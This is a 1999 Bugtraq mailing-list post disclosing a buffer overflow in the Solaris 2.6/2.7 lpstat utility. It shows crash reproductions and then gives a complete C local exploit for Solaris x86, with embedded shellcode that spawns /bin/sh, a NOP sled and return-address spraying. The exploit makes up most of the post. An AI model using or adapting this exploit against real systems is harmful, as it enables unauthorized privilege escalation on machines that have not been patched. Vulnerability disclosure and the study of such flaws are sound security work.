Date: Tue, 26 Jan 1999 15:02:47 +0000
From: plasmoid deep/thc/clb <plasmoid@PIMMEL.COM>
To: BUGTRAQ@netspace.org
Subject: Buffer overflow in Solaris 2.6/2.7 /usr/bin/lpstat


On Aug/25/98 Sun released the following patches for lp:

 Solaris2.6 Sparc: 106235-02
 Solaris2.6 x86:   106236

It is quite sad, that they did not fix another overflow in
/usr/bin/lpstat. I testified this bug on either Solaris 2.7 x86
and 2.6 Sparc, I assume that it is also present on Solaris 2.6
x86 and 2.7 Sparc.

Solaris 2.7 x86
% plasmoid@gorkie:foo> lpstat -c `perl -e 'print "A" x 998'`
% UX:lpstat: ERROR: Class
                    [...]
%                   AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" does
%                   not exist.
%           TO FIX: Use the "lpstat -c all" command to list
%                   all known classes.
% Segmentation Fault
% plasmoid@gorkie:foo>

Solaris 2.6 Sparc
% plasmoid@bock:foo> lpstat -c `perl -e 'print "AAAA" x 250'`
% UX:lpstat: ERROR: Class
                    [...]
%                   AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" does not
%                   exist.
%          TO FIX: Use the "lpstat -c all" command to list
%                  all known classes.
% Segmentation Fault
% plasmoid@bock:foo>

This overflow is definitly exploitable, i attached the exploit for
Solaris x86. Quality patches for all Solaris versions can be obtained
>from www.hert.org, a fast security source.

plasmoid deep/thc/clb
http://thc.inferno.tusculum.edu


/*
 * lpstat sploit for solaris 2.6/2.7
 * by plasmoid/deep/thc <plasmoid@pimmel.com> (c) 1999
 * supported by insected and wilkins
 * 
 * THC - The Hacker's Choice
 * http://thc.inferno.tusculum.edu
 */ 



#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>


char shell[] =
 "\xeb\x48\x9a\xff\xff\xff\xff\x07\xff\xc3\x5e\x31\xc0\x89\x46\xb4"
 "\x88\x46\xb9\x88\x46\x07\x89\x46\x0c\x31\xc0\x50\xb0\x8d\xe8\xdf"
 "\xff\xff\xff\x83\xc4\x04\x31\xc0\x50\xb0\x17\xe8\xd2\xff\xff\xff"  
 "\x83\xc4\x04\x31\xc0\x50\x8d\x5e\x08\x53\x8d\x1e\x89\x5e\x08\x53"
 "\xb0\x3b\xe8\xbb\xff\xff\xff\x83\xc4\x0c\xe8\xbb\xff\xff\xff\x2f"
 "\x62\x69\x6e\x2f\x73\x68\xff\xff\xff\xff\xff\xff\xff\xff\xff"; 

const int buffersize=1100;
const char x86_nop=0x90;
long nop,esp;
long offset=0;
char buffer[2000];

long get_esp() { __asm__("movl %esp,%eax"); }

int main (int argc, char *argv[]) {
    int i;
    
    /* you shouldn't edit the offset, we run with
       800 nops in 1100 bytes buffer, one of those
       nops should be hit */
    
    if (argc > 1) offset = strtol(argv[1], NULL, 0);

    /* if you don't succeed, modify the nop count, 
       the standart value of 801 bybtes is quite
       strange enuff */
       
    if (argc > 2) nop = strtoul(argv[2], NULL, 0);
    else
        nop = 801;

    esp = get_esp();

    memset(buffer, x86_nop, buffersize);
    memcpy(buffer+nop, shell, strlen(shell));
    for (i = nop+strlen(shell); i < buffersize-4; i += 4)
        *((int *) &buffer[i]) = esp+offset;

    execl("/usr/bin/lpstat", "lpstat", "-c", buffer, NULL);

    printf("exec failed!\n");
    return 0;
}